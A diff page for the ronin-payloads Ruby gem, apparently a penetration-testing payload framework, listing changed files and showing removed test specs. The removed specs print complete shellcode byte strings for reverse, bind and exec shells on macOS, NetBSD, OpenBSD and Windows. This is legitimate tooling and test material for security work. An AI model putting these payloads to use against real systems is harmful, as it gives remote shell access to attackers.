ronin-payloads 0.1.0.beta1 → 0.1.1
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/.github/workflows/ruby.yml +16 -1
- data/.rubocop.yml +37 -0
- data/.yardopts +1 -1
- data/ChangeLog.md +13 -1
- data/Gemfile +5 -2
- data/README.md +4 -3
- data/Rakefile +3 -1
- data/bin/ronin-payloads +7 -8
- data/examples/bin_sh.rb +4 -0
- data/gemspec.yml +8 -7
- data/lib/ronin/payloads/asm_payload.rb +2 -2
- data/lib/ronin/payloads/binary_payload.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/awk/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/bash/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/lua/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/node/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/openssl/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/perl/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/php/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/powershell/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/python/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/ruby/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/java/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/php/cmd_exec.rb +5 -4
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/bind_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb +3 -3
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/bind_shell.rb +3 -3
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell.rb +3 -3
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/windows/x86_64/cmd.rb +3 -3
- data/lib/ronin/payloads/builtin/test/open_redirect.rb +4 -4
- data/lib/ronin/payloads/builtin/test/xss.rb +4 -4
- data/lib/ronin/payloads/c_payload.rb +2 -2
- data/lib/ronin/payloads/cli/command.rb +1 -1
- data/lib/ronin/payloads/cli/commands/build.rb +11 -13
- data/lib/ronin/payloads/cli/commands/encode.rb +17 -21
- data/lib/ronin/payloads/cli/commands/encoder.rb +1 -1
- data/lib/ronin/payloads/cli/commands/encoders.rb +2 -2
- data/lib/ronin/payloads/cli/commands/irb.rb +1 -1
- data/lib/ronin/payloads/cli/commands/launch.rb +3 -3
- data/lib/ronin/payloads/cli/commands/list.rb +1 -1
- data/lib/ronin/payloads/cli/commands/new.rb +4 -4
- data/lib/ronin/payloads/cli/commands/show.rb +3 -2
- data/lib/ronin/payloads/cli/encoder_methods.rb +2 -1
- data/lib/ronin/payloads/cli/format_option.rb +1 -1
- data/lib/ronin/payloads/cli/generator/payload_types.rb +4 -3
- data/lib/ronin/payloads/cli/payload_command.rb +1 -1
- data/lib/ronin/payloads/cli/payload_methods.rb +1 -1
- data/lib/ronin/payloads/cli/printing.rb +1 -1
- data/lib/ronin/payloads/cli/ruby_shell.rb +1 -1
- data/lib/ronin/payloads/cli.rb +6 -1
- data/lib/ronin/payloads/coldfusion_payload.rb +1 -1
- data/lib/ronin/payloads/command_payload.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/html/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/builtin/js/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/builtin/powershell/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/builtin/shell/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/builtin/sql/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/builtin/xml/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/encoder.rb +3 -2
- data/lib/ronin/payloads/encoders/exceptions.rb +2 -1
- data/lib/ronin/payloads/encoders/html_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders/javascript_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders/pipeline.rb +3 -2
- data/lib/ronin/payloads/encoders/powershell_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders/registry.rb +5 -1
- data/lib/ronin/payloads/encoders/shell_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders/sql_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders/xml_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders.rb +1 -1
- data/lib/ronin/payloads/exceptions.rb +2 -1
- data/lib/ronin/payloads/go_payload.rb +2 -2
- data/lib/ronin/payloads/html_payload.rb +1 -1
- data/lib/ronin/payloads/java_payload.rb +2 -2
- data/lib/ronin/payloads/javascript_payload.rb +1 -1
- data/lib/ronin/payloads/jsp_payload.rb +1 -1
- data/lib/ronin/payloads/metadata/arch.rb +2 -1
- data/lib/ronin/payloads/metadata/os.rb +2 -1
- data/lib/ronin/payloads/mixins/binary.rb +1 -1
- data/lib/ronin/payloads/mixins/bind_shell.rb +3 -3
- data/lib/ronin/payloads/mixins/build_dir.rb +1 -1
- data/lib/ronin/payloads/mixins/erb.rb +1 -1
- data/lib/ronin/payloads/mixins/network.rb +1 -1
- data/lib/ronin/payloads/mixins/post_ex.rb +1 -2
- data/lib/ronin/payloads/mixins/resolve_host.rb +1 -1
- data/lib/ronin/payloads/mixins/reverse_shell.rb +1 -2
- data/lib/ronin/payloads/mixins/tempfile.rb +1 -1
- data/lib/ronin/payloads/mixins/typescript.rb +2 -3
- data/lib/ronin/payloads/node_js_payload.rb +1 -1
- data/lib/ronin/payloads/payload.rb +8 -8
- data/lib/ronin/payloads/php_payload.rb +1 -1
- data/lib/ronin/payloads/powershell_payload.rb +1 -1
- data/lib/ronin/payloads/python_payload.rb +1 -1
- data/lib/ronin/payloads/registry.rb +4 -1
- data/lib/ronin/payloads/root.rb +1 -1
- data/lib/ronin/payloads/ruby_payload.rb +1 -1
- data/lib/ronin/payloads/rust_payload.rb +2 -2
- data/lib/ronin/payloads/shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/bind_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/exec_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/reverse_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode_payload.rb +9 -9
- data/lib/ronin/payloads/sql_payload.rb +1 -1
- data/lib/ronin/payloads/url_payload.rb +3 -3
- data/lib/ronin/payloads/version.rb +2 -2
- data/lib/ronin/payloads/xml_payload.rb +1 -1
- data/lib/ronin/payloads.rb +2 -1
- data/man/ronin-payloads-build.1 +1 -1
- data/man/ronin-payloads-build.1.md +1 -1
- data/man/ronin-payloads-encode.1 +1 -1
- data/man/ronin-payloads-encode.1.md +1 -1
- data/man/ronin-payloads-encoder.1 +1 -1
- data/man/ronin-payloads-encoder.1.md +1 -1
- data/man/ronin-payloads-encoders.1 +1 -1
- data/man/ronin-payloads-encoders.1.md +1 -1
- data/man/ronin-payloads-irb.1 +1 -1
- data/man/ronin-payloads-irb.1.md +1 -1
- data/man/ronin-payloads-launch.1 +1 -1
- data/man/ronin-payloads-launch.1.md +1 -1
- data/man/ronin-payloads-list.1 +1 -1
- data/man/ronin-payloads-list.1.md +1 -1
- data/man/ronin-payloads.1 +1 -1
- data/man/ronin-payloads.1.md +1 -1
- data/ronin-payloads.gemspec +5 -5
- metadata +17 -215
- data/spec/asm_payload_spec.rb +0 -114
- data/spec/binary_payload_spec.rb +0 -8
- data/spec/builtin/cmd/awk/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/bash/reverse_shell_spec.rb +0 -36
- data/spec/builtin/cmd/lua/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/node/reverse_shell_spec.rb +0 -36
- data/spec/builtin/cmd/openssl/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/perl/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/php/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/powershell/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/python/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/ruby/reverse_shell_spec.rb +0 -38
- data/spec/builtin/java/reverse_shell_spec.rb +0 -103
- data/spec/builtin/php/cmd_exec.rb +0 -52
- data/spec/builtin/shellcode/freebsd/x86/bind_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/freebsd/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/freebsd/x86/reverse_shell_spec.rb +0 -63
- data/spec/builtin/shellcode/freebsd/x86_64/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/arm/bind_shell_spec.rb +0 -62
- data/spec/builtin/shellcode/linux/arm/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/arm/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/linux/mips/bind_shell_spec.rb +0 -60
- data/spec/builtin/shellcode/linux/mips/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/mips/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/linux/ppc/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/ppc/reverse_shell_spec.rb +0 -87
- data/spec/builtin/shellcode/linux/x86/bind_shell_spec.rb +0 -60
- data/spec/builtin/shellcode/linux/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/x86/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/linux/x86_64/bind_shell_spec.rb +0 -60
- data/spec/builtin/shellcode/linux/x86_64/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/x86_64/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/macos/x86_64/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/macos/x86_64/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/netbsd/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/netbsd/x86/reverse_shell_spec.rb +0 -63
- data/spec/builtin/shellcode/openbsd/x86/bind_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/openbsd/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/windows/x86_64/cmd_spec.rb +0 -54
- data/spec/builtin/test/open_redirect_spec.rb +0 -24
- data/spec/builtin/test/xss_spec.rb +0 -24
- data/spec/c_payload_spec.rb +0 -139
- data/spec/cli/commands/show_spec.rb +0 -21
- data/spec/cli/encoder_methods_spec.rb +0 -275
- data/spec/cli/format_option_spec.rb +0 -187
- data/spec/cli/payload_command_spec.rb +0 -68
- data/spec/cli/payload_methods_spec.rb +0 -208
- data/spec/cli/printing_spec.rb +0 -65
- data/spec/cli/ruby_shell_spec.rb +0 -14
- data/spec/coldfusion_payload_spec.rb +0 -8
- data/spec/command_payload_spec.rb +0 -8
- data/spec/encoders/builtin/html/encode_spec.rb +0 -17
- data/spec/encoders/builtin/js/encode_spec.rb +0 -17
- data/spec/encoders/builtin/powershell/encode_spec.rb +0 -17
- data/spec/encoders/builtin/shell/encode_spec.rb +0 -17
- data/spec/encoders/builtin/sql/encode_spec.rb +0 -17
- data/spec/encoders/builtin/xml/encode_spec.rb +0 -17
- data/spec/encoders/encoder_spec.rb +0 -62
- data/spec/encoders/html_encoder_spec.rb +0 -8
- data/spec/encoders/javascript_encoder_spec.rb +0 -8
- data/spec/encoders/pipeline_spec.rb +0 -153
- data/spec/encoders/powershell_encoder_spec.rb +0 -8
- data/spec/encoders/shell_encoder_spec.rb +0 -8
- data/spec/encoders/sql_encoder_spec.rb +0 -8
- data/spec/encoders/xml_encoder_spec.rb +0 -8
- data/spec/encoders_spec.rb +0 -25
- data/spec/go_payload_spec.rb +0 -56
- data/spec/helpers/encoders.rb +0 -9
- data/spec/helpers/payloads.rb +0 -9
- data/spec/helpers/scripts/payloads/simple.rb +0 -22
- data/spec/html_payload_spec.rb +0 -12
- data/spec/java_payload_spec.rb +0 -97
- data/spec/javascript_payload_spec.rb +0 -12
- data/spec/jsp_payload_spec.rb +0 -8
- data/spec/metadata/arch_spec.rb +0 -82
- data/spec/metadata/os_spec.rb +0 -164
- data/spec/mixins/binary_spec.rb +0 -129
- data/spec/mixins/bind_shell_spec.rb +0 -73
- data/spec/mixins/build_dir.rb +0 -64
- data/spec/mixins/erb_spec.rb +0 -19
- data/spec/mixins/network_spec.rb +0 -75
- data/spec/mixins/post_ex_spec.rb +0 -40
- data/spec/mixins/resolve_host_spec.rb +0 -322
- data/spec/mixins/reverse_shell_spec.rb +0 -103
- data/spec/mixins/tempfile_spec.rb +0 -97
- data/spec/mixins/typescript_spec.rb +0 -92
- data/spec/node_js_payload_spec.rb +0 -8
- data/spec/payload_spec.rb +0 -288
- data/spec/payloads_spec.rb +0 -29
- data/spec/php_payload_spec.rb +0 -8
- data/spec/powershell_payload_spec.rb +0 -16
- data/spec/python_payload_spec.rb +0 -8
- data/spec/ruby_payload_spec.rb +0 -8
- data/spec/rust_payload_spec.rb +0 -116
- data/spec/shell_payload_spec.rb +0 -16
- data/spec/shellcode/bind_shell_payload_spec.rb +0 -42
- data/spec/shellcode/exec_shell_payload_spec.rb +0 -8
- data/spec/shellcode/reverse_shell_payload_spec.rb +0 -136
- data/spec/shellcode_payload_spec.rb +0 -38
- data/spec/spec_helper.rb +0 -7
- data/spec/sql_payload_spec.rb +0 -12
- data/spec/url_payload_spec.rb +0 -72
- data/spec/xml_payload_spec.rb +0 -12
@@ -1,58 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::MacOS::X86_64::ReverseShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ReverseShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ReverseShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/macos/x86_64/reverse_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/macos/x86_64/reverse_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86_64" do
|
21
|
-
expect(subject.arch).to be(:x86_64)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :macos" do
|
29
|
-
expect(subject.os).to be(:macos)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
let(:host) { '127.0.0.1' }
|
34
|
-
let(:port) { 1337 }
|
35
|
-
|
36
|
-
subject do
|
37
|
-
described_class.new(
|
38
|
-
params: {
|
39
|
-
host: host,
|
40
|
-
port: port
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
describe "#build" do
|
46
|
-
before { subject.build }
|
47
|
-
|
48
|
-
it "must set #payload" do
|
49
|
-
expect(subject.payload).to eq(
|
50
|
-
"\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x61\x4c\x89\xc0\x48\x31\xd2\x48\x89\xd6\x48\xff\xc6\x48\x89\xf7\x48\xff\xc7\x0f\x05\x49\x89\xc4\x49\xbd\x01\x01\x05\x39\x7f\x00\x00\x01\x41\xb1\xff\x4d\x29\xcd\x41\x55\x49\x89\xe5\x49\xff\xc0\x4c\x89\xc0\x4c\x89\xe7\x4c\x89\xee\x48\x83\xc2\x10\x0f\x05\x49\x83\xe8\x08\x48\x31\xf6\x4c\x89\xc0\x4c\x89\xe7\x0f\x05\x48\x83\xfe\x02\x48\xff\xc6\x76\xef\x49\x83\xe8\x1f\x4c\x89\xc0\x48\x31\xd2\x49\xbd\xff\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xed\x08\x41\x55\x48\x89\xe7\x48\x31\xf6\x0f\x05".b
|
51
|
-
)
|
52
|
-
end
|
53
|
-
|
54
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
55
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
56
|
-
end
|
57
|
-
end
|
58
|
-
end
|
@@ -1,46 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::NetBSD::X86::ExecShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/netbsd/x86/exec_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/netbsd/x86/exec_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86" do
|
21
|
-
expect(subject.arch).to be(:x86)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :netbsd" do
|
29
|
-
expect(subject.os).to be(:netbsd)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe "#build" do
|
34
|
-
before { subject.build }
|
35
|
-
|
36
|
-
it "must set #payload" do
|
37
|
-
expect(subject.payload).to eq(
|
38
|
-
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04".b
|
39
|
-
)
|
40
|
-
end
|
41
|
-
|
42
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
43
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
44
|
-
end
|
45
|
-
end
|
46
|
-
end
|
@@ -1,63 +0,0 @@
|
|
1
|
-
# encoding: US-ASCII
|
2
|
-
|
3
|
-
require 'spec_helper'
|
4
|
-
require 'ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell'
|
5
|
-
|
6
|
-
describe Ronin::Payloads::Shellcode::NetBSD::X86::ReverseShell do
|
7
|
-
it "must inherit from Ronin::Payloads::Shellcode::ReverseShellPayload" do
|
8
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ReverseShellPayload
|
9
|
-
end
|
10
|
-
|
11
|
-
describe ".id" do
|
12
|
-
subject { described_class }
|
13
|
-
|
14
|
-
it "must equal 'shellcode/netbsd/x86/reverse_shell'" do
|
15
|
-
expect(subject.id).to eq('shellcode/netbsd/x86/reverse_shell')
|
16
|
-
end
|
17
|
-
end
|
18
|
-
|
19
|
-
describe ".arch" do
|
20
|
-
subject { described_class }
|
21
|
-
|
22
|
-
it "must equal :x86" do
|
23
|
-
expect(subject.arch).to be(:x86)
|
24
|
-
end
|
25
|
-
end
|
26
|
-
|
27
|
-
describe ".os" do
|
28
|
-
subject { described_class }
|
29
|
-
|
30
|
-
it "must equal :netbsd" do
|
31
|
-
expect(subject.os).to be(:netbsd)
|
32
|
-
end
|
33
|
-
end
|
34
|
-
|
35
|
-
let(:host) { '127.0.0.1' }
|
36
|
-
let(:port) { 1337 }
|
37
|
-
|
38
|
-
subject do
|
39
|
-
described_class.new(
|
40
|
-
params: {
|
41
|
-
host: host,
|
42
|
-
port: port
|
43
|
-
}
|
44
|
-
)
|
45
|
-
end
|
46
|
-
|
47
|
-
describe "#build" do
|
48
|
-
before { subject.build }
|
49
|
-
|
50
|
-
let(:negated_ipv4) { "\x80\xff\xff\xfe" }
|
51
|
-
let(:negated_port) { "\xfa\xc6" }
|
52
|
-
|
53
|
-
it "must set #payload" do
|
54
|
-
expect(subject.payload).to eq(
|
55
|
-
"\x31\xc0\x31\xc9\x50\x40\x50\x40\x50\x50\xb0\x61\xcd\x80\x89\xc3\x89\xe2\x49\x51\x51\x41\x68#{negated_ipv4}\x68\xff\xfd#{negated_port}\xb1\x10\x51\xf6\x12\x4a\xe2\xfb\xf6\x12\x52\x50\x50\xb0\x62\xcd\x80\xb1\x03\x49\x51\x41\x53\x50\xb0\x5a\xcd\x80\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x50\xb0\x3b\xcd\x80"
|
56
|
-
)
|
57
|
-
end
|
58
|
-
|
59
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
60
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
61
|
-
end
|
62
|
-
end
|
63
|
-
end
|
@@ -1,58 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::OpenBSD::X86::BindShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::BindShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::BindShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/openbsd/x86/bind_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/openbsd/x86/bind_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86" do
|
21
|
-
expect(subject.arch).to be(:x86)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :openbsd" do
|
29
|
-
expect(subject.os).to be(:openbsd)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
let(:host) { 'example.com' }
|
34
|
-
let(:port) { 1337 }
|
35
|
-
|
36
|
-
subject do
|
37
|
-
described_class.new(
|
38
|
-
params: {
|
39
|
-
host: host,
|
40
|
-
port: port
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
describe "#build" do
|
46
|
-
before { subject.build }
|
47
|
-
|
48
|
-
it "must set #payload" do
|
49
|
-
expect(subject.payload).to eq(
|
50
|
-
"\x31\xc9\x51\x41\x51\x41\x51\x51\x31\xc0\xb0\x61\xcd\x80\x89\x07\x31\xc9\x88\x4f\x04\xc6\x47\x05\x02\x89\x4f\x08\x66\xc7\x47\x06\x05\x39\x6a\x10\x8d\x47\x04\x50\x8b\x07\x50\x50\x31\xc0\xb0\x68\xcd\x80\x6a\x01\x8b\x07\x50\x50\x31\xc0\xb0\x6a\xcd\x80\x31\xc9\x51\x51\x8b\x07\x50\x50\x31\xc0\xb0\x1e\xcd\x80\x89\x07\x31\xc9\x51\x8b\x07\x50\x50\x31\xc0\xb0\x5a\xcd\x80\x41\x83\xf9\x03\x75\xef\xeb\x23\x5b\x89\x1f\x31\xc9\x88\x4b\x07\x89\x4f\x04\x51\x8d\x07\x50\x8b\x07\x50\x50\x31\xc0\xb0\x3b\xcd\x80\x31\xc9\x51\x51\x31\xc0\xb0\x01\xcd\x80\xe8\xd8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x90".b
|
51
|
-
)
|
52
|
-
end
|
53
|
-
|
54
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
55
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
56
|
-
end
|
57
|
-
end
|
58
|
-
end
|
@@ -1,46 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::OpenBSD::X86::ExecShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/openbsd/x86/exec_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/openbsd/x86/exec_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86" do
|
21
|
-
expect(subject.arch).to be(:x86)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :openbsd" do
|
29
|
-
expect(subject.os).to be(:openbsd)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe "#build" do
|
34
|
-
before { subject.build }
|
35
|
-
|
36
|
-
it "must set #payload" do
|
37
|
-
expect(subject.payload).to eq(
|
38
|
-
"\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x54\x53\x53\x6a\x3b\x58\xcd\x80".b
|
39
|
-
)
|
40
|
-
end
|
41
|
-
|
42
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
43
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
44
|
-
end
|
45
|
-
end
|
46
|
-
end
|
@@ -1,54 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/windows/x86_64/cmd'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Windows::X86_64::CMD do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/windows/x86_64/cmd'" do
|
13
|
-
expect(subject.id).to eq('shellcode/windows/x86_64/cmd')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86_64" do
|
21
|
-
expect(subject.arch).to be(:x86_64)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :windows" do
|
29
|
-
expect(subject.os).to be(:windows)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe ".os_version" do
|
34
|
-
subject { described_class }
|
35
|
-
|
36
|
-
it "must equal '7'" do
|
37
|
-
expect(subject.os_version).to eq('7')
|
38
|
-
end
|
39
|
-
end
|
40
|
-
|
41
|
-
describe "#build" do
|
42
|
-
before { subject.build }
|
43
|
-
|
44
|
-
it "must set #payload" do
|
45
|
-
expect(subject.payload).to eq(
|
46
|
-
"\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x06\x8B\x68\x08\xEB\x20\x5B\x53\x55\x5B\x81\xEB\x11\x11\x11\x11\x81\xC3\xDA\x3F\x1A\x11\xFF\xD3\x81\xC3\x11\x11\x11\x11\x81\xEB\x8C\xCC\x18\x11\xFF\xD3\xE8\xDB\xFF\xFF\xFF\x63\x6d\x64".b
|
47
|
-
)
|
48
|
-
end
|
49
|
-
|
50
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
51
|
-
